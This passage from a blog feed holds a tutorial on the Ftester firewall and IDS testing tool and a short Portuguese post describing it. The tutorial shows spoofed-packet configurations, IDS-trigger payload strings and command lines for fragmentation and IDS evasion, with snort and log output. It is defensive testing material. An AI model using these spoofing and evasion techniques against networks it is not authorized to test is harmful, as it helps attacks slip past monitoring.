/&gt;192.168.3.0/24:1-1024:10.7.0.1:20-25:S:TCP:0&lt;br /&gt;192.168.0.0/22:1024:10.7.0.1:80:S:TCP:0&lt;br /&gt;&lt;br /&gt;A stop signal is necessary for telling ftestd that our test is completed, this&lt;br /&gt;can be accomplished with the following syntax:&lt;br /&gt;&lt;br /&gt;stop_signal=192.168.0.1:666:10.1.7.1:666:S:TCP:&lt;br /&gt;&lt;br /&gt;the stop_signal can be a TCP, UDP or ICMP packet, this packet will cause the&lt;br /&gt;termination of the sniffer so every packet specified after the stop_signal &lt;br /&gt;directive wont be seen by ftestd.&lt;br /&gt;&lt;br /&gt;Let's first see it's basic usage in testing basic non-stateful firewall &lt;br /&gt;filtering policies.  We'll use the ftest script on a machine placed outside the &lt;br /&gt;firewall and ftestd on a machine placed inside the firewall on the DMZ we want &lt;br /&gt;to test (of course if we want to test outbound filtering we can reverse ftest &lt;br /&gt;and ftestd placement).&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;-----------                             ------------&lt;br /&gt;| Host A  |----------[firewall]---------| Host B   |&lt;br /&gt;| (ftest) |                             | (ftestd) |&lt;br /&gt;-----------                             ------------&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Host A IP Address: 192.168.0.10&lt;br /&gt;Host A IP Address: 10.1.7.1&lt;br /&gt;&lt;br /&gt;Step 1:&lt;br /&gt;&lt;br /&gt;For testing which privileged services can be reached from the outside we'll use &lt;br /&gt;the following simple configuration file:&lt;br /&gt;&lt;br /&gt;- ftest.conf -&lt;br /&gt;# checking privileged ports ([1025)&lt;br /&gt;192.168.0.10:1025:10.1.7.1:1-1025:S:TCP:0&lt;br /&gt;# checking proxy port&lt;br /&gt;192.168.0.10:1025:10.1.7.1:3128:S:TCP:0&lt;br /&gt;stop_signal=192.168.0.10:80:10.1.7.1:1025:AP:TCP:0&lt;br /&gt;&lt;br /&gt;of course we must be sure that the stop signal will reach ftestd, in this case&lt;br /&gt;we've verified that the firewalled host can surf the web so a reply from port 80&lt;br /&gt;should be fine.&lt;br /&gt;&lt;br /&gt;Step 2:&lt;br /&gt;&lt;br /&gt;Let's start as root ftestd on Host B:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;[root@hostb]# ./ftestd -i eth0 -v&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Let's injects the packets as root on Host A: &lt;br /&gt;&lt;br /&gt;&lt;em&gt;[root@hosta]# ./ftest -f ftest.conf -v -d 0.01&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;We see an output displaying every packet sent and the ftest.log file is&lt;br /&gt;created.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;- ftest.log -&lt;br /&gt;# ftest started on Tue Jun  4 22:37:11 CEST 2002&lt;br /&gt;1 - 192.168.0.10:1025 &gt; 10.1.7.1:1 S TCP 0&lt;br /&gt;2 - 192.168.0.10:1025 &gt; 10.1.7.1:2 S TCP 0&lt;br /&gt;3 - 192.168.0.10:1025 &gt; 10.1.7.1:3 S TCP 0&lt;br /&gt;...&lt;br /&gt;... (cutted for the sake of brevity)&lt;br /&gt;...&lt;br /&gt;1023 - 192.168.0.10:1025 &gt; 10.1.7.1:1023 S TCP 0&lt;br /&gt;1024 - 192.168.0.10:1025 &gt; 10.1.7.1:1024 S TCP 0&lt;br /&gt;1025 - 192.168.0.10:1025 &gt; 10.1.7.1:1025 S TCP 0&lt;br /&gt;1026 - 192.168.0.10:1025 &gt; 10.1.7.1:3128 S TCP 0&lt;br /&gt;1027 - 192.168.0.10:80 &gt; 10.1.7.1:1025 PA TCP &lt;br /&gt;# ftest stopped on Tue Jun  4 22:38:42 CEST 2002&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;On Host B ftestd shows the same messages and creates the ftestd.log file.&lt;br /&gt;&lt;br /&gt;As we can see each packet is marked with an unique identifier (the first number&lt;br /&gt;of the line) which corresponds to the packet IP ID field, this will help us for&lt;br /&gt;comparing the different log files.&lt;br /&gt;&lt;br /&gt;Step 3:&lt;br /&gt;&lt;br /&gt;Finally we copy the two log files on the same host and we compare them using&lt;br /&gt;freport:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;[root@hostb]# ./freport ftest.log ftestd.log&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Authorized packets:&lt;br /&gt;-------------------&lt;br /&gt;&lt;br /&gt;21 - 192.168.0.10:1025 &gt; 10.1.7.1:21 S TCP 0&lt;br /&gt;22 - 192.168.0.10:1025 &gt; 10.1.7.1:22 S TCP 0&lt;br /&gt;23 - 192.168.0.10:1025 &gt; 10.1.7.1:23 S TCP 0&lt;br /&gt;25 - 192.168.0.10:1025 &gt; 10.1.7.1:25 S TCP 0&lt;br /&gt;80 - 192.168.0.10:1025 &gt; 10.1.7.1:80 S TCP 0&lt;br /&gt;110 - 192.168.0.10:1025 &gt; 10.1.7.1:110 S TCP 0&lt;br /&gt;113 - 192.168.0.10:1025 &gt; 10.1.7.1:113 S TCP 0&lt;br /&gt;1027 - 192.168.0.10:80 &gt; 10.1.7.1:1025 PA TCP 0&lt;br /&gt;&lt;br /&gt;Modified packets (probably NAT):&lt;br /&gt;--------------------------------&lt;br /&gt;&lt;br /&gt;443 - 192.168.0.10:1025 &gt; 10.1.7.1:443 S TCP 0&lt;br /&gt;  &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&lt;br /&gt;443 - 192.168.0.10:1025 &gt; 10.1.7.5:443 S TCP 0&lt;br /&gt;&lt;br /&gt;Filtered or dropped packets:&lt;br /&gt;----------------------------&lt;br /&gt;&lt;br /&gt;1 - 192.168.0.10:1025 &gt; 10.1.7.1:1 S TCP 0&lt;br /&gt;2 - 192.168.0.10:1025 &gt; 10.1.7.1:2 S TCP 0&lt;br /&gt;3 - 192.168.0.10:1025 &gt; 10.1.7.1:3 S TCP 0&lt;br /&gt;...&lt;br /&gt;... (cutted for the sake of brevity)&lt;br /&gt;...&lt;br /&gt;1026 - 192.168.0.10:1025 &gt; 10.1.7.1:3128 S TCP 0&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As we can see ftp,telnet,ssh,smtp,http,pop3,auth are apparently reachable from&lt;br /&gt;the outside, https is forwarded to host 10.1.7.5 and the rest, including the&lt;br /&gt;proxy port is filtered, of course NAT regarding the destination address can be&lt;br /&gt;detected only if we sniff on a non-switched environment otherwise only port&lt;br /&gt;address translation or source address translation can be detected. &lt;br /&gt;&lt;br /&gt;The sniffing of packet 1027 (the PSH,ACK from port 80) demonstrate that we are &lt;br /&gt;dealing with a simple firewall that does not perform connection tracking,&lt;br /&gt;however as of today stateful inspection firewalls are more likely to be found in&lt;br /&gt;real environments. Stateful inspection firewalls usually performs connection&lt;br /&gt;tracking and they are not suppose to pass unmatched packets that aren't part of&lt;br /&gt;a previously initiated connection, for this reason if we need to test the &lt;br /&gt;filtering policies regarding PSH,ACK and moreover URG,RST,FIN packets we have to &lt;br /&gt;create a real connection with the proper SYN,SYN-ACK,ACK handshake before &lt;br /&gt;sending them with the correct sequence numbers, the ftestd process will send the &lt;br /&gt;correct replies.  However when simulating the connection if we are spoofing the &lt;br /&gt;source address the stack of the destination host will reply to our spoofed &lt;br /&gt;packets and the real host that we'are spoofing will consequently reset the &lt;br /&gt;connection since it hasn't started it. So we have to do two things, hiding the &lt;br /&gt;stack response to the spoofed host and to the firewall and make sure that ftestd &lt;br /&gt;reply will traverse the firewall by not reaching the spoofed host. Hiding the &lt;br /&gt;stack response could be done by setting a very low default TTL in &lt;br /&gt;/proc/sys/net/ipv4/ip_default_ttl (Linux only). Hiding to the spoofed host &lt;br /&gt;ftestd reply is done by setting its TTL to a low value equal to the hop delay &lt;br /&gt;between ftestd and the firewall. The -s flag for ftest and the -c flag for &lt;br /&gt;ftestd must be tuned for this mode, for example use ./ftestd -c 0:3 for &lt;br /&gt;temporarly setting default stack ttl to 0 and ftestd reply ttl to 3, the &lt;br /&gt;ip_default_ttl will be restored when a stop_signal is received.&lt;br /&gt;&lt;br /&gt;The so called 'connection spoofing mode' can be activated with the 'connect=' &lt;br /&gt;prefix, let's use this mode:&lt;br /&gt;&lt;br /&gt;- ftest.conf -&lt;br /&gt;# simulating a ssh connection&lt;br /&gt;connect=192.168.0.10:1025:10.1.7.1:22:AP:TCP:0&lt;br /&gt;# checking unmatched RST packets&lt;br /&gt;192.168.0.10:1025:10.1.7.1:23:UR:TCP:0&lt;br /&gt;# checking matched RST packets&lt;br /&gt;connect=192.168.0.10:1025:10.1.7.1:23:UR:TCP:0&lt;br /&gt;stop_signal=192.168.0.10:1025:10.1.7.1:80:S:TCP:0&lt;br /&gt;&lt;br /&gt;and again:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;[root@hostb]# ./ftestd -i eth0 -c 0:3 -v&lt;/em&gt; &lt;br /&gt;&lt;br /&gt;&lt;em&gt;[root@hosta]# ./ftest -f ftest.conf -v -d 0.01 -s 1 &lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Sent Syn Probe =&gt; 192.168.0.10:1025 &gt; 10.1.7.1:22 S TCP&lt;br /&gt;Sleeping for 1 seconds&lt;br /&gt;Sent Ack Reply =&gt; 192.168.0.10:1025 &gt; 10.1.7.1:22 A TCP&lt;br /&gt;3 - 192.168.0.10:1025 &gt; 10.1.7.1:22 AP TCP 0&lt;br /&gt;5 - 192.168.0.10:1025 &gt; 10.1.7.1:23 UR TCP 0&lt;br /&gt;Sent Syn Probe =&gt; 192.168.0.10:1025 &gt; 10.1.7.1:23 S TCP&lt;br /&gt;Sleeping for 1 seconds&lt;br /&gt;Sent Ack Reply =&gt; 192.168.0.10:1025 &gt; 10.1.7.1:23 A TCP&lt;br /&gt;8 - 192.168.0.10:1025 &gt; 10.1.7.1:23 UR TCP 0&lt;br /&gt;Stop packet =&gt; 192.168.0.10:1025 &gt; 10.1.7.1:80 S TCP&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;note that this time ftest is configured to wait 1 second for ftestd replies. &lt;br /&gt;&lt;br /&gt;It's useful to see what traffic we are generating using tcpdump:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;[root@hostb]# tcpdump -n -v -i eth0&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# the first connection&lt;br /&gt;15:16:04.969929 192.168.0.10.1025 &gt; 10.1.7.1.22: S [tcp sum ok] 18679:18687(8) win 65535 (DF) (ttl 200, id 1, len 48)&lt;br /&gt;15:16:04.973880 10.1.7.1.22 &gt; 192.168.0.10.1025: S [tcp sum ok] 19703:19703(0) ack 18687 win 65535 (DF) [tos 0x10]  (ttl 200, id 1, len 40)&lt;br /&gt;15:16:05.991877 192.168.0.10.1025 &gt; 10.1.7.1.22: . [tcp sum ok] ack 1 win 65535 (DF) (ttl 200, id 2, len 40)&lt;br /&gt;15:16:06.001927 192.168.0.10.1025 &gt; 10.1.7.1.22: P [tcp sum ok] 1:16(15) ack 1 win 65535 (DF) (ttl 200, id 3, len 55)&lt;br /&gt;15:16:06.012034 192.168.0.10.1025 &gt; 10.1.7.1.22: P [tcp sum ok] 16:21(5) ack 1 win 65535 (DF) (ttl 200, id 4, len 45)&lt;br /&gt;15:16:06.014798 10.1.7.1.22 &gt; 192.168.0.10.1025: . [tcp sum ok] ack 21 win 65535 (DF) [tos 0x10]  (ttl 200, id 2, len 40)&lt;br /&gt;&lt;br /&gt;# the unmatched RST&lt;br /&gt;15:16:06.023391 192.168.0.10.1025 &gt; 10.1.7.1.23: R [tcp sum ok] 0:15(15) win 65535 urg 0 [RST ftestertcpprobe] (DF) (ttl 200, id 5, len 55)&lt;br /&gt;&lt;br /&gt;# the second connection&lt;br /&gt;15:16:06.032223 192.168.0.10.1025 &gt; 10.1.7.1.23: S [tcp sum ok] 63848:63856(8) win 65535 (DF) (ttl 200, id 6, len 48)&lt;br /&gt;15:16:06.034946 10.1.7.1.23 &gt; 192.168.0.10.1025: S [tcp sum ok] 64872:64872(0) ack 63856 win 65535 (DF) [tos 0x10]  (ttl 200, id 1, len 40)&lt;br /&gt;15:16:07.051963 192.168.0.10.1025 &gt; 10.1.7.1.23: . [tcp sum ok] ack 1 win 65535 (DF) (ttl 200, id 7, len 40)&lt;br /&gt;# the correct RST &lt;br /&gt;15:16:07.061863 192.168.0.10.1025 &gt; 10.1.7.1.23: R [tcp sum ok] 63856:63871(15) win 65535 urg 0 [RST ftestertcpprobe] (DF) (ttl 200, id 8, len 55)&lt;br /&gt;15:16:07.072021 192.168.0.10.1025 &gt; 10.1.7.1.23: R [tcp sum ok] 63871:63876(5) win 65535 urg 0 [RST ackme] (DF) (ttl 200, id 9, len 45)&lt;br /&gt;15:16:07.074616 10.1.7.1.23 &gt; 192.168.0.10.1025: . [tcp sum ok] ack 21 win 65535 (DF) [tos 0x10]  (ttl 200, id 2, len 40)&lt;br /&gt;&lt;br /&gt;# the stop_signal &lt;br /&gt;15:16:07.083321 192.168.0.10.1025 &gt; 10.1.7.1.80: S [tcp sum ok] 0:11(11) win 65535 (DF) (ttl 200, id 10, len 51)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;again here's the logs comparison:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;[root@hostb]# ./freport ftest.log ftestd.log&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Authorized packets:&lt;br /&gt;-------------------&lt;br /&gt;&lt;br /&gt;3 - 192.168.0.10:1025 &gt; 10.1.7.1:22 PA TCP 0&lt;br /&gt;8 - 192.168.0.10:1025 &gt; 10.1.7.1:23 UR TCP 0&lt;br /&gt;10 - 192.168.0.10:1025 &gt; 10.1.7.1:80 S TCP 0&lt;br /&gt;&lt;br /&gt;Modified packets (probably NAT):&lt;br /&gt;--------------------------------&lt;br /&gt;&lt;br /&gt;  &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&lt;br /&gt;&lt;br /&gt;Filtered or dropped packets:&lt;br /&gt;----------------------------&lt;br /&gt;&lt;br /&gt;5 - 192.168.0.10:1025 &gt; 10.1.7.1:23 UR TCP 0&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;the first RST has been dropped this confirm that we'are probably dealing with a&lt;br /&gt;stateful inspection firewall. &lt;br /&gt;&lt;br /&gt;If more than one packet is specified with the 'connect=' prefix and the same&lt;br /&gt;connection parameters (source address/port, destination address/port) the&lt;br /&gt;-r/-F flags must be used to correctly close (with a RST or a FIN handshake) each &lt;br /&gt;connections, otherwise, if the firewall is performing sequence numbers tracking, &lt;br /&gt;connections other than the first will be blocked. &lt;br /&gt;&lt;br /&gt;The IDS testing option permits the injection of arbitrary packets with custom&lt;br /&gt;payload, using a payload that is supposed to trigger an IDS alert we can test&lt;br /&gt;IDS visibility on the network and it's ability of sniffing fragmented/segmented &lt;br /&gt;packets. A number of common IDS evasion techniques are also implemented for &lt;br /&gt;activation during packets injection. The configuration file for this mode will &lt;br /&gt;use the standard syntax with the 'ids=' and 'ids-conn=' prefixes, additionally &lt;br /&gt;ftest can directly use a snort (http://www.snort.org) rule definition file &lt;br /&gt;(check documentation for currently supported keywords). Here's a syntax example:&lt;br /&gt;&lt;br /&gt;- ftest.conf -&lt;br /&gt;ids=192.168.0.10:1025:10.1.7.1:25:S:TCP:0:VRFY&lt;br /&gt;ids=192.168.0.10::10.1.7.1:::ICMP:3:5:+++ath&lt;br /&gt;ids-conn=192.168.0.10:23:10.1.7.1:1025:PA:TCP:0:to su root&lt;br /&gt;ids-conn=192.168.0.10:1025:10.1.7.1:80:PA:TCP:0:cmd.exe&lt;br /&gt;ids-conn=192.168.0.10:1026:10.1.7.1:80:PA:TCP:0:ftp.exe&lt;br /&gt;insert /etc/snort/exploit.rules 192.168.0.10 10.1.7.1 0&lt;br /&gt;insert-conn /etc/snort/web-misc.rules 192.168.0.10 10.1.7.1 0&lt;br /&gt;&lt;br /&gt;The '-conn' options works just like the 'connect' option, this is useful if the&lt;br /&gt;IDS is performing stateful inspection, the ftestd presence is needed when using&lt;br /&gt;this mode otherwise since we are only testing the IDS the sniffer is not&lt;br /&gt;required.&lt;br /&gt;&lt;br /&gt;The 'insert' option take 4 arguments, the definition file, the source address,&lt;br /&gt;the destination address and the type of service.&lt;br /&gt;&lt;br /&gt;Let's use this feature to test snort ability in eluding evasion techniques,&lt;br /&gt;we'll use a common alert and we'll assume that snort is performing stateful&lt;br /&gt;inspection discarding unmatched traffic.&lt;br /&gt;&lt;br /&gt;Step 1:&lt;br /&gt;&lt;br /&gt;The configuration file:&lt;br /&gt;&lt;br /&gt;- ftest.conf -&lt;br /&gt;ids-conn=192.168.0.1:1025:10.7.0.1:80:PA:TCP:0:cmd.exe&lt;br /&gt;&lt;br /&gt;Step 2:&lt;br /&gt;&lt;br /&gt;Let's start snort on our sensor:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;[root@ids1] snort -A full -c /etc/snort/snort.conf -D -b -d -i eth0 -l /var/log \&lt;br /&gt;            -s -z&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Let's start as root ftestd on Host B:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;[root@hostb]# ./ftestd -i eth0 -c 0:3 -v&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Let's injects the packets as root on Host A: &lt;br /&gt;&lt;br /&gt;&lt;em&gt;[root@hosta]# ./ftest -f ftest.conf -v -d 0.01 -s 1 -F &lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Sent Syn Probe =&gt; 192.168.0.10:1025 &gt; 10.1.7.1:80 S TCP&lt;br /&gt;Sleeping for 1 seconds&lt;br /&gt;Sent Ack Reply =&gt; 192.168.0.10:1025 &gt; 10.1.7.1:80 A TCP&lt;br /&gt;6 - 192.168.0.10:1025 &gt; 10.1.7.1:80 PA TCP 0 "cmd.exe"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Immidiately snort alerts us with the following syslog message (notice that snort&lt;br /&gt;also warn us about ftest signature in the SYN packet):&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Jun  5 16:25:13 lcars snort[4467]: [111:5:1] spp_stream4: DATA ON SYN detection [Classification: Unknown Traffic] [Priority: 3]: {TCP} 192.168.0.10:1025 -&gt; 10.1.7.1:80&lt;br /&gt;Jun  5 16:25:14 lcars snort[4467]: [1:1002:2] WEB-IIS cmd.exe access [Classification: Web Application Attack] [Priority: 1]: {TCP} 192.168.0.10:1025 -&gt; 10.1.7.1:80&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;We can repeat the process using some dirty tricks like fragmentation and evasion&lt;br /&gt;techniques (see documentation for a detailed description):&lt;br /&gt;&lt;br /&gt;&lt;em&gt;[root@hosta]# ./ftest -f ftest.conf -v -d 0.01 -s 1 -F -g 2&lt;br /&gt;[root@hosta]# ./ftest -f ftest.conf -v -d 0.01 -s 1 -F -e stream -p 3&lt;br /&gt;[root@hosta]# ./ftest -f ftest.conf -v -d 0.01 -s 1 -F -e stream -p 1b &lt;br /&gt;[root@hosta]# ./ftest -f ftest.conf -v -d 0.01 -s 1 -F -e desync1&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;and so on...&lt;br /&gt;&lt;br /&gt;Since snort rocks it identifies correctly the triggering payload each time:&lt;br /&gt; &lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Jun  5 16:29:32 lcars snort[4467]: [111:5:1] spp_stream4: DATA ON SYN detection {TCP} 192.168.0.10:1025 -&gt; 10.1.7.1:80&lt;br /&gt;Jun  5 16:29:34 lcars snort[4467]: [1:1002:2] WEB-IIS cmd.exe access [Classification: Web Application Attack] [Priority: 1]: {TCP} 192.168.0.10:1025 -&gt; 10.1.7.1:80&lt;br /&gt;Jun  5 16:30:16 lcars snort[4467]: [111:5:1] spp_stream4: DATA ON SYN detection {TCP} 192.168.0.10:1025 -&gt; 10.1.7.1:80&lt;br /&gt;Jun  5 16:30:18 lcars snort[4467]: [1:1002:2] WEB-IIS cmd.exe access [Classification: Web Application Attack] [Priority: 1]: {TCP} 192.168.0.10:1025 -&gt; 10.1.7.1:80&lt;br /&gt;Jun  5 16:30:40 lcars snort[4467]: [111:5:1] spp_stream4: DATA ON SYN detection {TCP} 192.168.0.10:1025 -&gt; 10.1.7.1:80&lt;br /&gt;Jun  5 16:30:42 lcars snort[4467]: [1:1002:2] WEB-IIS cmd.exe access [Classification: Web Application Attack] [Priority: 1]: {TCP} 192.168.0.10:1025 -&gt; 10.1.7.1:80&lt;br /&gt;Jun  5 16:31:00 lcars snort[4467]: [111:5:1] spp_stream4: DATA ON SYN detection {TCP} 192.168.0.10:1025 -&gt; 10.1.7.1:80&lt;br /&gt;Jun  5 16:31:02 lcars snort[4467]: [1:1002:2] WEB-IIS cmd.exe access [Classification: Web Application Attack] [Priority: 1]: {TCP} 192.168.0.10:1025 -&gt; 10.1.7.1:80&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The generated log will help in clarifying what has been sent:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;- ftest.log -&lt;br /&gt;# ftest started on Wed Jun  5 16:25:13 CEST 2002&lt;br /&gt;IDS mode &gt;&gt; 3 - 192.168.0.10:1025 &gt; 10.1.7.1:80 "cmd.exe" PA TCP 0&lt;br /&gt;# ftest stopped on Wed Jun  5 16:25:15 CEST 2002&lt;br /&gt;# ftest started on Wed Jun  5 16:29:32 CEST 2002&lt;br /&gt;IDS mode &gt;&gt; 3 - 192.168.0.10:1025 &gt; 10.1.7.1:80 "cmd.exe" PA TCP 0&lt;br /&gt;# ftest stopped on Wed Jun  5 16:29:35 CEST 2002&lt;br /&gt;# ftest started on Wed Jun  5 16:30:16 CEST 2002&lt;br /&gt;IDS mode &gt;&gt; 3 - 192.168.0.10:1025 &gt; 10.1.7.1:80 "cm" PA TCP 0&lt;br /&gt;IDS mode &gt;&gt; 4 - 192.168.0.10:1025 &gt; 10.1.7.1:80 "d." PA TCP 0&lt;br /&gt;IDS mode &gt;&gt; 5 - 192.168.0.10:1025 &gt; 10.1.7.1:80 "exe" PA TCP 0&lt;br /&gt;# ftest stopped on Wed Jun  5 16:30:18 CEST 2002&lt;br /&gt;# ftest started on Wed Jun  5 16:30:40 CEST 2002&lt;br /&gt;IDS mode &gt;&gt; 3 - 192.168.0.10:1025 &gt; 10.1.7.1:80 "c" PA TCP 0&lt;br /&gt;IDS mode &gt;&gt; 4 - 192.168.0.10:1025 &gt; 10.1.7.1:80 "m" PA TCP 0&lt;br /&gt;IDS mode &gt;&gt; 5 - 192.168.0.10:1025 &gt; 10.1.7.1:80 "d" PA TCP 0&lt;br /&gt;IDS mode &gt;&gt; 6 - 192.168.0.10:1025 &gt; 10.1.7.1:80 "." PA TCP 0&lt;br /&gt;IDS mode &gt;&gt; 7 - 192.168.0.10:1025 &gt; 10.1.7.1:80 "e" PA TCP 0&lt;br /&gt;IDS mode &gt;&gt; 8 - 192.168.0.10:1025 &gt; 10.1.7.1:80 "x" PA TCP 0&lt;br /&gt;IDS mode &gt;&gt; 9 - 192.168.0.10:1025 &gt; 10.1.7.1:80 "e" PA TCP 0&lt;br /&gt;# ftest stopped on Wed Jun  5 16:30:42 CEST 2002&lt;br /&gt;# ftest started on Wed Jun  5 16:31:00 CEST 2002&lt;br /&gt;IDS mode &gt;&gt; 3 - 192.168.0.10:1025 &gt; 10.1.7.1:80 "cmd" PA TCP 0&lt;br /&gt;IDS mode &gt;&gt; 4 - 192.168.0.10:1025 &gt; 10.1.7.1:80 "" S TCP 0 EVASION PACKET!&lt;br /&gt;IDS mode &gt;&gt; 5 - 192.168.0.10:1025 &gt; 10.1.7.1:80 ".exe" PA TCP 0&lt;br /&gt;# ftest stopped on Wed Jun  5 16:31:02 CEST 2002&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;;)&lt;br /&gt;&lt;br /&gt;Mário Miranda de Magalhães&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-3024413578507754653?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/3024413578507754653/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=3024413578507754653' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/3024413578507754653'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/3024413578507754653'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2007/02/ftester-firewall-and-ids-evasion.html' title='Ftester - Firewall and IDS evasion testing'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-4766300901235899920</id><published>2007-02-21T12:54:00.000-02:00</published><updated>2007-02-21T13:28:21.193-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='bypass firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker'/><category scheme='http://www.blogger.com/atom/ns#' term='ids'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>Ftester - Ferramenta de Teste de Firewall e IDS</title><content type='html'>&lt;strong&gt;Descrição:&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;The Firewall Tester (FTester) é uma ferramenta criada para testar regras de filtragem firewalls e as capacidades Intrusion Detection System (IDS).&lt;br /&gt;A ferramenta consiste em 2 scripts perl, um injetor de pacotes (ftest) e um sniffer passivo (listening sniffer - ftestd).&lt;br /&gt;&lt;br /&gt;O primeiro script injeta pacotes customizados, definidos em ftest.conf, com uma assinatura neles enquanto o sniffer passivo procura por essas assinaturas. Ambos scripts escrever um arquivo de log igual em sua estrutura. Um diff dos dois arquivos log criados (ftest.log e ftestd.log) mostram os pacotes que não foram aptos a encontrar o sniffer passivo, dropados, pelas regras do filtro de pacotes, se os dois scripts estiverem sendo rodados em lados diferentes do firewall. As inspeções de stateful firewalls são feitas com a opções "connection spoofing" ativada. Há também o script chamada freport para automaticamente lidar com os logs.&lt;br /&gt;&lt;br /&gt;Mas este não é um processo automatizado, o ftest.conf deve ser modificado para cada diferente teste / ambiente. Exemplos e regras estão inclusas no arquivo de configuração.&lt;br /&gt;&lt;br /&gt;A função de teste de IDS pode ser usada tanto com o ftest apenas ou com a ajuda adicional do ftestd para funcionar com stateful inspection IDS, ftest também pode usar técnicas comuns de evasão de IDS. Ao invés de usar sintaxes de configuração o script pode buscar nos arquivos de configuração do seu IDS. (Testei apenas com o snort).&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Características:&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;firewall testing&lt;/li&gt;&lt;li&gt;IDS testing&lt;/li&gt;&lt;li&gt;Simulação de conexões reais TCP para inspecionar firewalls e IDS.&lt;/li&gt;&lt;li&gt;Fragmentação de IP / Fragmentação de TCP&lt;/li&gt;&lt;li&gt;Técnicas de evasão de IDS&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Requerimentos:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Os seguintes módulos do perl (e o perl inclusive hehehe) são requeridos: Net::RawIP, Net::PcapUtils, NetPacke&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;O release mais recente é o ftester-1.0.tar.gz (pelo menos enquanto escrevo esta dica)E todos os releases estão disponíveis em &lt;a href="http://dev.inversepath.com/ftester"&gt;http://dev.inversepath.com/ftester&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Documentação:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Man page (ftester.8) - &lt;/em&gt;&lt;a href="http://dev.inversepath.com/ftester/ftester.html"&gt;&lt;em&gt;http://dev.inversepath.com/ftester/ftester.html&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;README - &lt;/em&gt;&lt;a href="http://dev.inversepath.com/ftester/README"&gt;&lt;em&gt;http://dev.inversepath.com/ftester/README&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;TISC Insight, Volume 5, Issue 6: Testing firewalls and IDS with Ftester - &lt;/em&gt;&lt;a href="http://www.tisc-insight.com/newsletters/56.html"&gt;&lt;em&gt;http://www.tisc-insight.com/newsletters/56.html&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Espero que ajude alguém.&lt;/p&gt;&lt;p&gt;Abraços.&lt;/p&gt;&lt;p&gt;Mário Miranda de Magalhães&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 